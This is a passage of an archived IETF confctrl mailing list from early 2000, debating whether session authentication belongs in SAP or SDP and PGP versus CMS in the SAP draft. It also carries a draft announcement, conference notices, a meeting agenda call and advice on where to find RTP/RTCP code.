In-reply-to: Your message of "Thu, 24 Feb 2000 13:00:26 PST."
             <200002242100.NAA04923@dthaler.microsoft.com> 
Date: Thu, 24 Feb 2000 15:12:25 -0800
Message-ID: <26838.951433945@aardvark.aciri.org>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>Mark Handley writes:
>> The real choice at this stage seems to be between SAP-level auth and
>> SDP-level auth.  However, the authentication mechanisms open to you
>> appear to be determined by the way you receive the session description
>> (Eg. in SIP/RTSP you can do an exchange with the sender to request a
>> certificate, in SAP you can't).  This it seems to me like SAP is a
>> better place than SDP for the authentication mechanism.
>
>I would argue the reverse.  I would liken SDP to an email message
>(even if carried via SAP), where you have no idea how many relays 
>it's gone through, and trusting the last relay means little.
>You want the email message to be signed, e.g. PGP or whatever,
>so that it can be authenticated regardless of how many different
>propagation methods or hops it's gone through.  For example,
>consider a SAP-to-web page gateway.  The description can only
>be authenticated by a recipient if it's in the SDP.

OK, I see your viewpoint.

In the case of SIP, there are really two authentication functions:
authenticating the payload, and authenticating who you get the request
to join the session from.  They're complementary.  

In the case of SAP, I was confusing authenticating the session with
authenticating who tells you about the session.  If the latter is not
relevant with SAP, then we don't need SAP authentication.

Either way, it looks like we do need SDP authentication.


Two questions then:

 - Are we sure we don't need any form of SAP authentication if we've
   got SDP authentication?  (probably we don't)

 - How do we go about adding authentication to SDP at this stage?
   Define an attribute?

Cheers,
	Mark

From confctrl-owner  Thu Feb 24 15:34:12 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA23008
	for confctrl-outgoing; Thu, 24 Feb 2000 15:34:12 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA23001
	for <confctrl@zephyr.isi.edu>; Thu, 24 Feb 2000 15:34:10 -0800 (PST)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id PAA25249
	for <confctrl@ISI.EDU>; Thu, 24 Feb 2000 15:34:12 -0800 (PST)
Received: from csperkins.demon.co.uk by bells.cs.ucl.ac.uk with UK SMTP 
          id <g.05425-0@bells.cs.ucl.ac.uk>; Thu, 24 Feb 2000 23:34:07 +0000
Received: from csperkins.demon.co.uk (localhost [127.0.0.1]) 
          by csperkins.demon.co.uk (8.9.3/8.8.7) with ESMTP id XAA21747;
          Thu, 24 Feb 2000 23:09:07 GMT
Message-Id: <200002242309.XAA21747@csperkins.demon.co.uk>
To: "Peter T. Kirstein" <P.Kirstein@cs.ucl.ac.uk>
cc: confctrl@ISI.EDU
Subject: Re: Revised SAP draft submitted
In-Reply-To: Message from "Peter T. Kirstein" <P.Kirstein@cs.ucl.ac.uk> of "Thu, 24 Feb 2000 18:40:23 GMT." <3.0.1.32.20000224184023.0073c6a8@cs.ucl.ac.uk>
Date: Thu, 24 Feb 2000 23:09:07 +0000
From: Colin Perkins <c.perkins@cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--> "Peter T. Kirstein" writes:
>At 16:45 24/02/00 +0000, Colin Perkins wrote:
>>I've just submitted a revision to the session announcement protocol draft,
>>which addresses the comments I received during working group last call.
>>Until it appears in the internet-draft archives, the draft is available
>>from:
>>http://www.cs.ucl.ac.uk/staff/c.perkins/internet-drafts/draft-ietf-mmusic-sap-v2-05.txt
>
>I really cannot see why PGP must still be mandatory and  CMS Authentication
>optional. There is so much more momentum now behind CMS certificates for
>many purposes. I strongly recommend that this requirement be dropped. This
>is the only place where it is required; many of our server accesses now use
>the certificates provided by Web browsers - which are not PGP.

The reasons are primarily historical: at the time the text in question was
written CMS was considerably less prevalent than it is now. 

Since we now allow a variety of payload formats, some of which may include
authentication, I wonder if we should not change the draft to state that
both authentication formats are optional?

Colin

From confctrl-owner  Thu Feb 24 15:34:28 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA23027
	for confctrl-outgoing; Thu, 24 Feb 2000 15:34:28 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA23022
	for <confctrl@zephyr.isi.edu>; Thu, 24 Feb 2000 15:34:27 -0800 (PST)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id PAA25270
	for <confctrl@ISI.EDU>; Thu, 24 Feb 2000 15:34:28 -0800 (PST)
Received: from csperkins.demon.co.uk by bells.cs.ucl.ac.uk with UK SMTP 
          id <g.05428-0@bells.cs.ucl.ac.uk>; Thu, 24 Feb 2000 23:34:09 +0000
Received: from csperkins.demon.co.uk (localhost [127.0.0.1]) 
          by csperkins.demon.co.uk (8.9.3/8.8.7) with ESMTP id XAA21798;
          Thu, 24 Feb 2000 23:24:08 GMT
Message-Id: <200002242324.XAA21798@csperkins.demon.co.uk>
To: Dave Thaler <dthaler@dthaler.microsoft.com>
cc: confctrl@ISI.EDU
Subject: Re: Revised SAP draft submitted
In-Reply-To: Message from Dave Thaler <dthaler@dthaler.microsoft.com> of "Thu, 24 Feb 2000 11:49:06 PST." <200002241949.LAA04772@dthaler.microsoft.com>
Date: Thu, 24 Feb 2000 23:24:08 +0000
From: Colin Perkins <c.perkins@cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--> Dave Thaler writes:
>> Summary of changes since the -04 revision:
>> - Remove references to "client" in the text, now talks about SAP
>>   announcers and listeners only.
>
>I still have an objection to the following language in the Introduction:
>> advertisements are received by potential participants who can use the
>> session description to start the tools required to participate in the
>> session.
>
>Specifically, "participants" are users (or perhaps clients), and the
>advertisements should be received by SAP speakers / session directories,
>NOT by participants.
>
>Suggest something more neutral like:
>  advertisements are received by other session directories so that
>  potential remote participants can use the session description to ...
>
>Likewise, Terminology section implicitly still refers to clients:
>> ensuring that the recipients of
>> the announcement can also be potential recipients of the session the
>> announcement describes 
>
>This language is repeated in section 3 (bottom of page 2).
>
>Suggest something more neutral like:
>  ensuring that the recipients of the announcement are within the
>  scope of the session the announcement described.
>
>Perhaps another note to the effect that:
>  Ensuring that a description is not used by a potential participant
>  outside the session scope is not addressed in this memo.
>would be helpful as well?

Okay, I'm happy with all these changes. I'll include them into the -06
draft.

Colin

From confctrl-owner  Thu Feb 24 15:34:46 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA23050
	for confctrl-outgoing; Thu, 24 Feb 2000 15:34:46 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA23044
	for <confctrl@zephyr.isi.edu>; Thu, 24 Feb 2000 15:34:45 -0800 (PST)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id PAA25282
	for <confctrl@ISI.EDU>; Thu, 24 Feb 2000 15:34:46 -0800 (PST)
Received: from csperkins.demon.co.uk by bells.cs.ucl.ac.uk with UK SMTP 
          id <g.05448-0@bells.cs.ucl.ac.uk>; Thu, 24 Feb 2000 23:34:28 +0000
Received: from csperkins.demon.co.uk (localhost [127.0.0.1]) 
          by csperkins.demon.co.uk (8.9.3/8.8.7) with ESMTP id XAA21821;
          Thu, 24 Feb 2000 23:35:07 GMT
Message-Id: <200002242335.XAA21821@csperkins.demon.co.uk>
To: Dave Thaler <dthaler@dthaler.microsoft.com>
cc: mjh@aciri.org (Mark Handley), confctrl@ISI.EDU
Subject: Re: Revised SAP draft submitted
In-Reply-To: Message from Dave Thaler <dthaler@dthaler.microsoft.com> of "Thu, 24 Feb 2000 13:00:26 PST." <200002242100.NAA04923@dthaler.microsoft.com>
Date: Thu, 24 Feb 2000 23:35:07 +0000
From: Colin Perkins <c.perkins@cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--> Dave Thaler writes:
>Mark Handley writes:
>> The real choice at this stage seems to be between SAP-level auth and
>> SDP-level auth.  However, the authentication mechanisms open to you
>> appear to be determined by the way you receive the session description
>> (Eg. in SIP/RTSP you can do an exchange with the sender to request a
>> certificate, in SAP you can't).  This it seems to me like SAP is a
>> better place than SDP for the authentication mechanism.
>
>I would argue the reverse.  I would liken SDP to an email message
>(even if carried via SAP), where you have no idea how many relays 
>it's gone through, and trusting the last relay means little.
>You want the email message to be signed, e.g. PGP or whatever,
>so that it can be authenticated regardless of how many different
>propagation methods or hops it's gone through.  For example,
>consider a SAP-to-web page gateway.  The description can only
>be authenticated by a recipient if it's in the SDP.

One of the primary reasons for including the authentication information in
SAP, rather than SDP, is that SAP can remain independent of the format of
the data being announced.

If we use SDP level authentication, we need to specify authentication
separately for each payload format which SAP can transport. I would
prefer a single authentication scheme for all announcements.

Colin

From confctrl-owner  Fri Feb 25 00:03:05 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id AAA23401
	for confctrl-outgoing; Fri, 25 Feb 2000 00:03:05 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id AAA23392
	for <confctrl@zephyr.isi.edu>; Fri, 25 Feb 2000 00:03:03 -0800 (PST)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id AAA29659
	for <confctrl@ISI.EDU>; Fri, 25 Feb 2000 00:03:04 -0800 (PST)
Received: from lynn.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.03213-0@bells.cs.ucl.ac.uk>; Fri, 25 Feb 2000 08:02:55 +0000
To: Colin Perkins <c.perkins@cs.ucl.ac.uk>
cc: "Peter T. Kirstein" <P.Kirstein@cs.ucl.ac.uk>, confctrl@ISI.EDU,
        P.Kirstein@cs.ucl.ac.uk
Subject: Re: Revised SAP draft submitted
In-reply-to: Your message of "Thu, 24 Feb 2000 23:09:07 GMT." <200002242309.XAA21747@csperkins.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-ID: <419.951465773.1@cs.ucl.ac.uk>
Date: Fri, 25 Feb 2000 08:02:53 +0000
Message-ID: <420.951465773@cs.ucl.ac.uk>
From: Peter KIRSTEIN <P.Kirstein@cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

In message <200002242309.XAA21747@csperkins.demon.co.uk>you write:
>--> "Peter T. Kirstein" writes:
>>At 16:45 24/02/00 +0000, Colin Perkins wrote:
>>>I've just submitted a revision to the session announcement protocol draft,
>>>which addresses the comments I received during working group last call.
>>>Until it appears in the internet-draft archives, the draft is available
>>>from:
>>>http://www.cs.ucl.ac.uk/staff/c.perkins/internet-drafts/draft-ietf-mmusic-sa
>p-v2-05.txt
>>
>>I really cannot see why PGP must still be mandatory and  CMS Authentication
>>optional. There is so much more momentum now behind CMS certificates for
>>many purposes. I strongly recommend that this requirement be dropped. This
>>is the only place where it is required; many of our server accesses now use
>>the certificates provided by Web browsers - which are not PGP.
>
>The reasons are primarily historical: at the time the text in question was
>written CMS was considerably less prevalent than it is now. 
>
>Since we now allow a variety of payload formats, some of which may include
>authentication, I wonder if we should not change the draft to state that
>both authentication formats are optional?
>
I agree.

Peter
>Colin









Peter

X*********************************************************************X
* Prof Peter Kirstein		   Telephone:  +44 171 380 7286	
* Department of Computer Science   Fax:        +44 171 387 1397
* University College London        Telex:      28722
* Gower Street                     Internet:   kirstein@cs.ucl.ac.uk
* London 
* WC1E 6BT                      
* U.K			URL    : http://www.cs.ucl.ac.uk/staff/kirstein
X*********************************************************************X


From confctrl-owner  Fri Feb 25 03:32:46 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id DAA05330
	for confctrl-outgoing; Fri, 25 Feb 2000 03:32:46 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id DAA05324
	for <confctrl@zephyr.isi.edu>; Fri, 25 Feb 2000 03:32:44 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id DAA06557
	for <confctrl@isi.edu>; Fri, 25 Feb 2000 03:32:46 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA05114;
	Fri, 25 Feb 2000 06:32:44 -0500 (EST)
Message-Id: <200002251132.GAA05114@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sap-v2-05.txt
Date: Fri, 25 Feb 2000 06:32:44 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: Session Announcement Protocol
	Author(s)	: M. Handley, C. Perkins,  E. Whelan
	Filename	: draft-ietf-mmusic-sap-v2-05.txt
	Pages		: 15
	Date		: 24-Feb-00
	
This document describes version 2 of the multicast session
directory announcement protocol, SAP, and the related issues
affecting security and scalability that should be taken
into account by implementors.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sap-v2-05.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sap-v2-05.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sap-v2-05.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20000224114249.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sap-v2-05.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sap-v2-05.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20000224114249.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Fri Feb 25 04:12:23 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id EAA07721
	for confctrl-outgoing; Fri, 25 Feb 2000 04:12:23 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id EAA07715
	for <confctrl@zephyr.isi.edu>; Fri, 25 Feb 2000 04:12:21 -0800 (PST)
Received: from smtp2.cluster.oleane.net (smtp2.cluster.oleane.net [195.25.12.17])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id EAA08092
	for <confctrl@isi.edu>; Fri, 25 Feb 2000 04:12:22 -0800 (PST)
Received: from oleane  (dyn-1-1-148.Vin.dialup.oleane.fr [195.25.4.148])  by smtp2.cluster.oleane.net  with SMTP id NAA65423; Fri, 25 Feb 2000 13:11:48 +0100 (CET)
Message-ID: <001601bf7f89$01635f40$0401a8c0@oleane.com>
From: "Peter Lewis" <peter.lewis@upperside.fr>
To: <rem-cof@es.net>
Subject: The VoDSL 2000 Conference 
Date: Fri, 25 Feb 2000 13:08:17 +0100
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0013_01BF7F91.619E1A00"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0013_01BF7F91.619E1A00
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hello,
=20
The VoDSL 2000 Conference will stand in Paris next 28-31 March. Key =
speakers, case studies: take a look at:  =
http://www.upperside.fr/bavodsl.htm
=20


------=_NextPart_000_0013_01BF7F91.619E1A00
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2314.1000" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>
<DIV><FONT color=3D#000000 size=3D2>Hello,</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2>The VoDSL 2000 Conference will stand =
in Paris=20
next 28-31 March. Key speakers, case studies: take a look at:&nbsp; <A=20
href=3D"http://www.upperside.fr/bavodsl.htm">http://www.upperside.fr/bavo=
dsl.htm</A></FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV></FONT></DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_0013_01BF7F91.619E1A00--


From confctrl-owner  Sun Feb 27 06:09:52 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA24186
	for confctrl-outgoing; Sun, 27 Feb 2000 06:09:52 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA24181
	for <confctrl@zephyr.isi.edu>; Sun, 27 Feb 2000 06:09:51 -0800 (PST)
Received: from bettina.informatik.uni-bremen.de (bettina.informatik.uni-bremen.de [134.102.224.3])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA21582
	for <confctrl@isi.edu>; Sun, 27 Feb 2000 06:09:53 -0800 (PST)
Received: from plumps (daemon.informatik.uni-bremen.de [134.102.218.45])
	by bettina.informatik.uni-bremen.de (8.8.7/8.8.7) with SMTP id PAA02883
	for <confctrl@isi.edu>; Sun, 27 Feb 2000 15:09:50 +0100 (MET)
Message-Id: <Version.32.20000226192127.00dc09a0@127.0.0.1>
X-Sender: jo@127.0.0.1
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0
Date: Sat, 26 Feb 2000 19:28:01 +0100
To: confctrl@ISI.EDU
From: Joerg Ott <jo@tzi.uni-bremen.de>
Subject: MMUSIC Agenda for Adeleide
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id GAA24182
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Folks,

MMUSIC will meet for a single slot in Adeleide (unfortunately the
Friday morning session as current planning stands).

I'd like to solicit input on the agenda.  Please send any requests
directly to me as soon as possible.

Tentative items for discussion include (but are not limited to):

- Session Announcement Protocol
- Real-time Streaming Protocol (revisions)
- SDP extensions
- Capabilities
- Message Bus

Thanks and see you in Adeleide,
Joerg



-------------------------------------------------------------------------------
Joerg Ott                                                  jo@tzi.uni-bremen.de
Universitaet Bremen, Germany                              fax + 49 421 218-7000
TELES AG                                                voice + 49 421 201-7028


From confctrl-owner  Mon Feb 28 23:21:50 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id XAA16938
	for confctrl-outgoing; Mon, 28 Feb 2000 23:21:50 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id XAA16932
	for <confctrl@zephyr.isi.edu>; Mon, 28 Feb 2000 23:21:48 -0800 (PST)
Received: from leonis.nus.edu.sg (leonis.nus.edu.sg [137.132.1.18])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id XAA02917;
	Mon, 28 Feb 2000 23:21:50 -0800 (PST)
Received: from engtanlk.nus.edu.sg ([137.132.204.165])
	by leonis.nus.edu.sg (8.9.3/8.9.3) with SMTP id OAA21128;
	Tue, 29 Feb 2000 14:44:52 +0800 (SST)
Message-ID: <025801bf8281$47d078a0$a5cc8489@engtanlk.nus.edu.sg>
From: "ICON'2000 Secretariat" <icon@comp.nus.edu.sg>
To: <Undisclosed.Recipients@leonis.nus.edu.sg>
Subject: 14 days to countdown! Have you submitted your papers???
Date: Tue, 29 Feb 2000 14:44:50 +0800
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0255_01BF82C4.55F3B8A0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.2106.4
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0255_01BF82C4.55F3B8A0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Dear All
=20
* Kindly ignore this email if you have received this before.=20
Thanks you for your kind attention.
=20
The 8th IEEE International Conference On Networks will be held from=20

September 5- 8, 2000 in Singapore. The aim of the conference is to =
provide=20

an international forum for experts to promote, share and discuss various =


issues and developments in the broad field of computer and communication =


networks. We thus seek and solicit your contributions

in the form of original/unpublished papers, tutorials, and topics for=20

special sessions/panel discussions. More information on the scope of the =


conference and the guidelines for the submission of contributions can

be obtained at this web site :http://www.comp.nus.edu.sg/~icon/



We look forward to your participation. Thank you.

Icon 2000 organizing Committee




------=_NextPart_000_0255_01BF82C4.55F3B8A0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>

<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type>
<META content=3D'"MSHTML 4.72.2106.6"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>
<DIV>
<DIV>
<DIV>
<DIV>
<DIV>
<DIV><FONT color=3D#000000 size=3D2>Dear All</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2><FONT color=3D#000000 face=3DArial =
size=3D2><STRONG>*=20
Kindly ignore this email if you have received this before.=20
</STRONG></FONT></FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2><FONT color=3D#000000 face=3DArial=20
size=3D2><STRONG>Thanks you for your kind =
attention.</STRONG></FONT></FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2><FONT size=3D2><FONT size=3D2><FONT =
size=3D2><FONT=20
size=3D2>
<P>The 8th IEEE International Conference On Networks will be held from =
</P>
<P>September 5- 8, 2000 in Singapore. The aim of the conference is to =
provide=20
</P>
<P>an international forum for experts to promote, share and discuss =
various </P>
<P>issues and developments in the broad field of computer and =
communication </P>
<P>networks. We thus seek and solicit your contributions</P>
<P>in the form of original/unpublished papers, tutorials, and topics for =
</P>
<P>special sessions/panel discussions. More information on the scope of =
the </P>
<P>conference and the guidelines for the submission of contributions =
can</P>
<P>be obtained at this web site :http://www.comp.nus.edu.sg/~icon/</P>
<P>&nbsp;</P>
<P>We look forward to your participation. Thank you.</P>
<P>Icon 2000 organizing Committee</P></FONT>
<P>&nbsp;</P></FONT></FONT></FONT></FONT></DIV></DIV></DIV></DIV></DIV></=
DIV></DIV></BODY></HTML>

------=_NextPart_000_0255_01BF82C4.55F3B8A0--


From confctrl-owner  Tue Feb 29 22:29:37 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id WAA19997
	for confctrl-outgoing; Tue, 29 Feb 2000 22:29:37 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id WAA19991
	for <confctrl@zephyr.isi.edu>; Tue, 29 Feb 2000 22:29:36 -0800 (PST)
Received: from web3902.mail.yahoo.com (web3902.mail.yahoo.com [204.71.203.198])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id WAA18891
	for <confctrl@ISI.EDU>; Tue, 29 Feb 2000 22:29:39 -0800 (PST)
Message-ID: <20000301062909.18945.qmail@web3902.mail.yahoo.com>
Received: from [203.197.163.36] by web3902.mail.yahoo.com; Tue, 29 Feb 2000 22:29:09 PST
Date: Tue, 29 Feb 2000 22:29:09 -0800 (PST)
From: singh pramod <pramod_satish@yahoo.com>
Subject: RTP/RTCP and Q.931 implementation
To: J.H.deMuijnck@research.kpn.com
Cc: confctrl@ISI.EDU
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hello,
     I am an university student and I am doing a
project on VoIP. 
     If you have 'C' codes on RTP/RTCP, Q.931
signalling, please provide me the same. 
     Please give me some web site addresses where I
can find those codes.

Thanks,

regards

satish
_________________________________________________________
Do You Yahoo!?
Get your free @yahoo.com address at http://mail.yahoo.com


From confctrl-owner  Wed Mar  1 00:53:25 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id AAA26651
	for confctrl-outgoing; Wed, 1 Mar 2000 00:53:25 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id AAA26646
	for <confctrl@zephyr.isi.edu>; Wed, 1 Mar 2000 00:53:24 -0800 (PST)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id AAA25455
	for <confctrl@ISI.EDU>; Wed, 1 Mar 2000 00:53:27 -0800 (PST)
Received: from sonic.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.04507-0@bells.cs.ucl.ac.uk>; Wed, 1 Mar 2000 08:53:01 +0000
From: Orion Hodson <O.Hodson@cs.ucl.ac.uk>
X-Organisation: University College London, CS Dept.
X-Phone: +44 (0)20 7679 3704
To: singh pramod <pramod_satish@yahoo.com>
cc: J.H.deMuijnck@research.kpn.com, confctrl@ISI.EDU, rem-conf@es.net
Subject: Re: RTP/RTCP and Q.931 implementation
In-reply-to: Your message of "Tue, 29 Feb 2000 22:29:09 PST." <20000301062909.18945.qmail@web3902.mail.yahoo.com>
Date: Wed, 01 Mar 2000 08:53:00 +0000
Message-ID: <1835.951900780@cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<20000301062909.18945.qmail@web3902.mail.yahoo.com>singh pramod writes:
> Hello,
> I am an university student and I am doing a
> project on VoIP. 
> If you have 'C' codes on RTP/RTCP, Q.931
> signalling, please provide me the same. 
> Please give me some web site addresses where I
> can find those codes.

Of Q931 stacks I know nothing...of RTP implementations a little...

The Lucent Elemedia H.323 stack contains a C RTP/RTCP implementation
and looks to be v. close to functionally complete and is very well
documented.  It was developed by Jonathon Lennox, Jonathon Rosenburg,
and Dan Rubenstein.  You can find documentation at:

	http://www.cs.columbia.edu/~jdrosen/rtp_api.html

and download it from:

	http://www.elemedia.com/Main/download.htm

You will have to apply for an id and passwd and agree to licensing
conditions (that you can't read without an id ;-).

There is also RTP/RTCP C code in the UCL Multimedia Common library
(open source):

	http://www-mice.cs.ucl.ac.uk/multimedia/software/common/

It's not particulatly well documented and there are some parts of the
spec not yet implemented, but it is fairly easy to use and supports
IPv4/v6 (plug plug).  It was developed by Colin Perkins with
contributions from Bill Fenner, Timur Friedman, Markus Germeier, and
myself.  If you are interested we have demo code that's not yet
included in the package that should show you everything you need.

You should also check out Henning's excellent RTP resources:

	http://www.cs.columbia.edu/~hgs/rtp/

as there are implementations in Java and C++ that may also be of interest
also.  

You might also checked out openh323 (http://www.openh323.org), and
their site is down at the moment, but they too presumeably have an
implementation.

If there are other publicly available implementations I'd be
interested in hearing about them.

- Orion

BTW, rem-conf is the AVT groups mailing list and where this request
should have gone to.

From confctrl-owner  Wed Mar  1 05:51:05 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA11658
	for confctrl-outgoing; Wed, 1 Mar 2000 05:51:05 -0800 (PST)
